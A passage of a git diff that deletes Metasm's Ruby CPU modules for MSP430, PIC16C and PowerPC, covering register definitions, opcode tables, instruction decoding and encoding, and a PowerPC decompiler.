top-level directory - -require 'metasm/main' - -module Metasm - -class MSP430 < CPU - def initialize(e = :little) - super() - @endianness = e - @size = 16 - end - - class Reg - include Renderable - Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym } - - attr_accessor :i - def initialize(i) ; @i = i end - def symbolic ; Sym[@i] end - def render ; [Sym[@i].to_s] end - def ==(o) ; o.class == self.class and o.i == @i end - end - - class Memref - attr_accessor :base, :offset, :size, :postincr - - def initialize(base, offset = 0, size = nil, postincr = false) - @base = base - @offset = Expression[offset] - @size = size - @postincr = postincr - end - - def symbolic(orig=nil) - r = @base.symbolic if @base - e = Expression[r, :+, @offset].reduce - Indirection[e, (@size || 1), orig] - end - - include Renderable - - def render - b = @base - b = @base.to_s + '++' if @base and @postincr - p = Expression[b, :+, @offset].reduce - Indirection[p, @size].render - end - end - - def init_opcode_list - init - end - - def dbg_register_list - @dbg_register_list ||= Reg::Sym.sort.transpose.last - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb deleted file mode 100644 index a8825db93e..0000000000 --- a/lib/metasm/metasm/cpu/msp430/opcodes.rb +++ /dev/null @@ -1,101 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/msp430/main' - -module Metasm -class MSP430 - def addop(name, bin, *args) - o = Opcode.new name, bin - - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - - @opcode_list << o - end - - def init - @opcode_list = [] - - @fields_mask = { - :as => 3, # adressing mode - :ad => 1, # adressing mode - :rd => 0xf, - :rs => 0xf, - :joff => 0x3ff, # signed offset for jumps - } - @fields_shift = { - :as => 4, - :ad => 7, - :rd => 0, - :rs => 8, - :joff => 0, - } - @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true } - @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true } - - # https://en.wikipedia.org/wiki/TI_MSP430 - - addop_macro1 'rrc', 0, :byte - addop_macro1 'swpb', 1 - addop_macro1 'rra', 2, :byte - addop_macro1 'sxt', 3 - addop_macro1 'push', 4, :byte - addop_macro1 'call', 5, :setip, :stopexec, :saveip - - addop 'reti', 0b000100_110_0000000 - - addop_macro2 'jnz', 0 - addop_macro2 'jz', 1 - addop_macro2 'jnc', 2 - addop_macro2 'jc', 3 - addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ? - addop_macro2 'jge', 5 - addop_macro2 'jl', 6 - addop_macro2 'jmp', 7, :stopexec - - addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++] - addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++] - - addop_macro3 'mov', 4 - addop_macro3 'add', 5 - addop_macro3 'adc', 6 # 'addc' - addop_macro3 'sbc', 7 - addop_macro3 'sub', 8 - addop_macro3 'cmp', 9 - addop_macro3 'dadd',10 # decimal add with carry - addop_macro3 'test',11 # 'bit' - addop_macro3 'andn',12 # 'bic' - addop_macro3 'or', 13 # 'bis' - addop_macro3 'xor', 14 - addop_macro3 'and', 15 - end - - def addop_macro1(name, bin, *props) - if props.delete :byte - addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props - else - addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props - end - end - - def addop_macro2(name, bin, *props) - addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props - end - - def addop_macro3(name, bin, *props) - addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc - addop_byte name, (bin << 12), :rd, :ad, :as, :rs - end - - def addop_byte(name, bin, *props) - addop name, bin, *props - addop name + '.b', bin | (1 << 6), :byte, *props - end -end -end diff --git a/lib/metasm/metasm/cpu/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb deleted file mode 100644 index 9c8ccfb1e1..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/decode.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/pic16c/opcodes' -require 'metasm/decode' - -module Metasm -class Pic16c - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - @opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - for i in b..(b | (255^msk)) - ext if i & msk != b & msk - - lookaside[i] << op - end - } - lookaside - end -end -end diff --git a/lib/metasm/metasm/cpu/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb deleted file mode 100644 index ca4185e86d..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/main.rb +++ /dev/null @@ -1,17 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Pic16c < CPU - def initialize(endianness = :big) - super() - @endianness = endianness - init - end -end -end diff --git a/lib/metasm/metasm/cpu/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb deleted file mode 100644 index 3112af715f..0000000000 --- a/lib/metasm/metasm/cpu/pic16c/opcodes.rb +++ /dev/null @@ -1,68 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/pic16c/main' - -module Metasm -class Pic16c - def addop(name, bin, *l) - o = Opcode.new name, bin - l.each { |ll| - if @props_allowed[ll] - o.props[ll] = true - else - o.args << ll - o.fields[ll] = @fields_off[ll] - end - } - @opcode_list << o - end - - def init - @fields_mask = {:f => 0x7f, :b => 0x7, :k => 0xff, :klong => 0x3ff, :d => 1 } - @props_allowed = {:setip => true, :saveip => true, :stopexec => true } - @fields_off = { :f => 0, :b => 7, :k => 0, :klong => 0, :d => 7, :d => 7 } - - addop 'addwf', 0b00_0111_0000_0000, :f, :d - addop 'andwf', 0b00_0101_0000_0000, :f, :d - addop 'clrf', 0b00_0001_1000_0000, :f - addop 'clrw', 0b00_0001_0000_0000 # 00_0001_0xxx_xxxx - addop 'comf', 0b00_1001_0000_0000, :f, :d - addop 'decf', 0b00_0011_0000_0000, :f, :d - addop 'decfsz',0b00_1011_0000_0000, :f, :d - addop 'incf', 0b00_1010_0000_0000, :f, :d - addop 'incfsz',0b00_1111_0000_0000, :f, :d - addop 'iorwf', 0b00_0100_0000_0000, :f, :d - addop 'movf', 0b00_1000_0000_0000, :f, :d - addop 'movwf', 0b00_0000_1000_0000, :f - addop 'nop', 0b00_0000_0000_0000 # 00_0000_0xx0_0000 - addop 'rlf', 0b00_1101_0000_0000, :f, :d - addop 'rrf', 0b00_1100_0000_0000, :f, :d - addop 'subwf', 0b00_0010_0000_0000, :f, :d - addop 'swapf', 0b00_1110_0000_0000, :f, :d - addop 'xorwf', 0b00_0110_0000_0000, :f, :d - - addop 'bcf', 0b01_0000_0000_0000, :f, :b - addop 'bsf', 0b01_0100_0000_0000, :f, :b - addop 'btfsc', 0b01_1000_0000_0000, :f, :b, :setip - addop 'btfss', 0b01_1100_0000_0000, :f, :b, :setip - - addop 'addlw', 0b11_1110_0000_0000, :k # 00_000x_0000_0000 - addop 'andlw', 0b11_1001_0000_0000, :k - addop 'call', 0b10_0000_0000_0000, :klong, :setip, :stopexec, :saveip - addop 'clrwdt',0b00_0000_0110_0100 - addop 'goto', 0b10_1000_0000_0000, :klong, :setip, :stopexec - addop 'iorlw', 0b11_1000_0000_0000, :k - addop 'movlw', 0b11_0000_0000_0000, :k # 00_00xx_0000_0000 - addop 'retfie',0b00_0000_0000_1001, :setip, :stopexec - addop 'retlw', 0b11_0100_0000_0000, :k, :setip, :stopexec # 00_00xx_0000_0000 - addop 'return',0b00_0000_0000_1000, :setip, :stopexec - addop 'sleep', 0b00_0000_0110_0011 - addop 'sublw', 0b11_1100_0000_0000, :k # 00_000x_0000_0000 - addop 'xorlw', 0b11_1010_0000_0000, :k - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc.rb b/lib/metasm/metasm/cpu/ppc.rb deleted file mode 100644 index 16f77e59a8..0000000000 --- a/lib/metasm/metasm/cpu/ppc.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/ppc/parse' -require 'metasm/cpu/ppc/encode' -require 'metasm/cpu/ppc/decode' -require 'metasm/cpu/ppc/decompile' diff --git a/lib/metasm/metasm/cpu/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb deleted file mode 100644 index 923c15265c..0000000000 --- a/lib/metasm/metasm/cpu/ppc/decode.rb +++ /dev/null @@ -1,270 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/decode' - -module Metasm -class PowerPC - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - return if not op.bin.kind_of? Integer - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffff_ffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - next if not op.bin.kind_of? Integer - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+4 > edata.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :bd, :d, :ds, :dq, :si, :ui; r = Expression.make_signed(r<<@fields_shift[f], 16) - when :li; r = Expression.make_signed(r<<@fields_shift[f], 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :ra, :rb, :rs, :rt; GPR.new field_val[a] - when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] - when :ra_i16, :ra_i16s, :ra_i16q - i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] - Memref.new GPR.new(field_val[:ra]), Expression[i] - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]] - when :ba, :bf, :bfa, :bt; CR.new field_val[a] - when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to - puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE # TODO - Expression[field_val[a]] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - decode_aliases(di.instruction) - - di - end - - def decode_aliases(i) - case i.opname - when /^n?or\.?$/ - if i.args[1] == i.args[2] - i.args.pop - i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] - end - when /^addi/ - if a = i.args[2].reduce and a.kind_of? Integer and a < 0 - i.args[2] = Expression[-a] - i.opname = i.opname.sub('addi', 'subi') - end - end - - case i.opname - when /^(add|sub|xor|and|or|div|mul|nand)/ - if i.args.length == 3 and i.args[0] == i.args[1] - i.args.shift - end - end - - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a - arg = Expression[addr, :+, di.instruction.args.last].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # TODO - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.to_a.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } - b = f.backtrace_binding - - bt_val = lambda { |r| - bt = [] - retaddrlist.to_a.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = GPR::Sym if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - #puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :lr - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset.kind_of? Expression - a - else a - end - } - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = (0..31).inject({}) { |h, r| r != 1 ? h.update("r#{r}".to_sym => Expression::Unknown) : h } - df.backtracked_for = [BacktraceTrace.new(Expression[:lr], :default, Expression[:lr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'mr', 'li', 'la'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'lis'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } - when 'mtctr'; lambda { |di, a0| { :ctr => Expression[a0] } } - when 'mfctr'; lambda { |di, a0| { a0 => Expression[:ctr] } } - when 'mtlr'; lambda { |di, a0| { :lr => Expression[a0] } } - when 'mflr'; lambda { |di, a0| { a0 => Expression[:lr] } } - when 'lwzu'; lambda { |di, a0, m| - ret = { a0 => Expression[m] } - ptr = m.pointer.externals.grep(Symbol).first - ret[ptr] = m.pointer if ptr != a0 - ret - } - when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } - when 'stwu'; lambda { |di, a0, m| - { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } - } - when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } - when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| - mb, me = mb.reduce, me.reduce - cpmsk = (1<<@size) - 1 - a1 = Expression[a1, :&, cpmsk] - rol = Expression[[a1, :<<, sh], :|, [a1, :>>, [@size, :-, sh]]] - if mb == me+1 - msk = cpmsk - elsif mb < me+1 - msk = (((1 << ((me+1)-mb)) - 1) << (@size-(me+1))) - else - msk = (((1 << (mb-(me+1))) - 1) << (@size-mb)) ^ cpmsk - end - { a0 => Expression[Expression[rol, :&, msk].reduce] } - } - - when 'add', 'addi', 'add.', 'addi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, a[-1]] } } - when 'addis', 'addis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, [a[-1], :<<, 16]] } } - when 'sub', 'subi', 'sub.', 'subi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, a[-1]] } } - when 'subis', 'subis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, [a[-1], :<<, 16]] } } - when /^b.*la?$/; lambda { |di, *a| { :lr => Expression[di.next_addr] } } - when 'nop', /^cmp/, /^b/; lambda { |di, *a| {} } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - {} - end - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.instruction.opname - when 'bctr', 'bctrl'; :ctr - when 'blr', 'blrl'; :lr - else di.instruction.args.last - end - - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb deleted file mode 100644 index c042903e29..0000000000 --- a/lib/metasm/metasm/cpu/ppc/decompile.rb +++ /dev/null @@ -1,251 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/main' - -module Metasm -class PowerPC - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :sp => :frameptr } # this would suffice, the rest here is just optimisation - - blocks.each { |block| - yield block - } - - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - #a << :eax if di.opcode.name == 'ret' # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:sp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :sp].reduce - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - #deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - from = deps_to.keys.find_all { |f| deps_to[f].include? b } - done - from.empty? or from.find { |f| - !deps_w[f].include?(r) and uninitialized[f, r, done + [b]] - } - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a = di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - #cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - cc = ceb[:condjmp] - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - case di.opcode.name - when 'blr' - commit[] - stmts << C::Return.new(nil) - when 'bl' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if t = dcmp.c_parser.toplevel.symbol[n] and t.type.args - stackoff = Expression[dcmp.dasm.backtrace(:sp, di.address, :snapshot_addr => func_entry), :-, :sp].bind(:sp => :frameptr).reduce rescue nil - args_todo = t.type.args.dup - args = [] - args_todo.each { - if stackoff.kind_of? Integer - var = Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - else - var = 0 - end - args << ceb[var] - binding.delete var - } - end - commit[] - #next if not di.block.to_subfuncret - - if n.kind_of? ::String - if not f = dcmp.c_parser.toplevel.symbol[n] - # internal functions are predeclared, so this one is extern - f = dcmp.c_parser.toplevel.symbol[n] = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - commit[] - else - # indirect funcall - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:int)) - f = C::CExpression[[fptr], proto] - end - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'b' - a = di.instruction.args.first - if a.kind_of? Expression - else - # indirect jmp, convert to return (*fptr)(); - n = di.instruction.args.first.symbolic - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:void)) - ret = C::Return.new(C::CExpression[[[fptr], C::Pointer.new(proto)], :funcall, []]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - bd.each { |k, v| - if k.kind_of? ::Symbol - ops << [k, v] - else # memory - stmts << ceb[k, :'=', v] - binding.delete k - end - } - update = {} - bd.each { |k, v| - next if not k.kind_of? ::Symbol - update[k] = Expression[Expression[v].bind(binding).reduce] - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb deleted file mode 100644 index aa2c9a69c4..0000000000 --- a/lib/metasm/metasm/cpu/ppc/encode.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/encode' - -module Metasm -class PowerPC - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - -# TODO - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - instr.args[-1] = Expression[[instr.args[-1], :-, postlabel], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd, :ba, :bf, :bfa, :bt - set_field[sym, arg.i] - when :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - when :i26 - val, mask, shift = Expression[arg, :>>, 2], @fields_mask[sym], @fields_shift[sym] - end - } - - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb deleted file mode 100644 index b66385557a..0000000000 --- a/lib/metasm/metasm/cpu/ppc/main.rb +++ /dev/null @@ -1,134 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/render' - -module Metasm -class PowerPC < CPU - class Reg - include Renderable - class << self - attr_accessor :s_to_i, :i_to_s - end - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - - def render ; [self.class.i_to_s[@i]] ; end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - def symbolic ; Sym[@i] end - end - - # special purpose reg - class SPR < Reg - @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, - 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} - @i_to_s = @s_to_i.invert - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.inject({}) { |h, (k, v)| h.update k => v.to_sym } - def symbolic ; Sym[@i] end - def render ; [self.class.i_to_s[@i] || "spr#@i"] end - end - - # floating point - class FPR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - end - - # machine state reg - class MSR < Reg - def symbolic ; :msr end - def render ; ['msr'] end - end - - # condition reg (7 regs * 4 bits : lt, gt, eq, of) - class CR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i } - @i_to_s = @s_to_i.invert - Sym = @s_to_i.sort.transpose.last - def symbolic ; "cr#@i".to_sym end - end - - # indirection : reg+reg or reg+16b_off - # r0 may mean 0 in some cases (stwx) - class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset - end - - def symbolic(orig) - b = @base.symbolic - b = nil if b == :r0 # XXX is it true ? - o = @offset - o = o.symbolic if o.kind_of?(Reg) - Indirection[Expression[b, :+, o].reduce, 4, orig] - end - - include Renderable - def render - if @offset.kind_of?(Reg) - ['(', @base, ' + ', @offset, ')'] - else - [@offset, '(', @base, ')'] - end - end - end - - def initialize - super() - @endianness = :big - @size = 32 - end - - def init_opcode_list - init - end - - def render_instruction(i) - r = [i.opname] - if not i.args.empty? - r << ' ' - i.args.each { |a| - r << a << ', ' - } - r.pop - end - r - end -end -PPC = PowerPC -end diff --git a/lib/metasm/metasm/cpu/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb deleted file mode 100644 index 1e03e77b9e..0000000000 --- a/lib/metasm/metasm/cpu/ppc/opcodes.rb +++ /dev/null @@ -1,416 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/main' - -module Metasm -class PowerPC - def addop(name, bin, *argprops) - o = Opcode.new 